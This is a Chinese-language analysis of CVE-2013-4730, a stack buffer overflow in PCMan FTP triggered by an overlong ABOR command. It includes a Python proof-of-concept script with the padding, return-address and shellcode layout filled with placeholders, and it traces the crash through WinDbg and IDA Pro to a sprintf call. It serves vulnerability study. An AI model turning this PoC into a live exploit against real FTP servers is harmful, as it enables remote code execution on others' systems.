CVE-2013-4730是一个基于FTP软件的栈缓冲区溢出漏洞, 允许远程用户构造USER命令超长字符来实现任意代码执行
根据提供的POC代码使用idapro和windbg进行分析,首先查看poc.py代码
import socket as s
from sys import argv
#
if(len(argv) != 4):
print "USAGE: %s host [user] [password] % argv[0]"
exit(1)
else:
#store command line arguments
script,host,fuser,fpass=argv
#vars
junk = '\x41' * 2011 #overwrite function (ABOR) with garbage/junk chars
espaddress = '\x41\x41\x41\x41' # 76BB0659
nops = '\x41' * 10
shellcode = '\x41' *150
sploit = junk+espaddress+nops+shellcode
#create socket
conn = s.socket(s.AF_INET,s.SOCK_STREAM)
#establish connection to server
conn.connect((host,21))
#post ftp user
conn.send('USER '+fuser+'\r\n')
#wait for response
uf = conn.recv(1024)
#post ftp password
conn.send('PASS '+fpass+'\r\n')
#wait for response
pf = conn.recv(1024)
#send ftp command with sploit
conn.send('ABOR '+sploit+'\r\n')
cf = conn.recv(1024)
#close connection
conn.close()
首先开启PCMan FTP,然后执行poc代码
poc.py 127.0.0.1 anonymous anonymous
触发了缓冲区溢出漏洞
使用windbg attach ftp程序,按g运行程序,然后命令行执行poc,可以看到windbg在地址0x41414141中断
Kb查看栈空间内容,已经变为全0x41
Idapro载入ftp程序,imports中找到recv函数,找到两处调用
sub_4029B0+25 sub_4055E0+5E
Windbg重新载入ftp程序,在这两处位置下断点
G运行,然后命令行执行poc,程序中断在第一个断点
程序没有报错,继续g执行,程序崩溃,在第二次执行时断在0x4029d5
重新载入ftp,设置断点在0x4029d5,执行到第二次时,查看esp内容
第二个参数0x12edc4表示缓冲区起始地址
查看缓冲区内容,是输入的user/pass
按下p歩过call函数
查看此时缓冲区内容变为ABOR AAA…AAA
F10单步执行,程序崩溃的前一条指令地址在0x402a26
也就是call sub_403E60这个函数会触发漏洞
此函数中有个一sprintf()
分析此函数,首先或GetLocalTime获取系统时间
以某个时间格式进行sprintf输出,以及其他内容,一共push了10个参数
在0x4029d5处下断点,g运行并启动poc后,第二次断下时
在0x403EE6处下断点,g执行
F10歩过执行call命令后
查看此时栈内容,首先是%d格式的时间信息,然后是复制过来的ABOR AAA..AAA
在返回地址0x403FB9处设置断点
g执行到断点
此时esp-4内容全部为0x41
所以继续执行到地址0x41414141会出错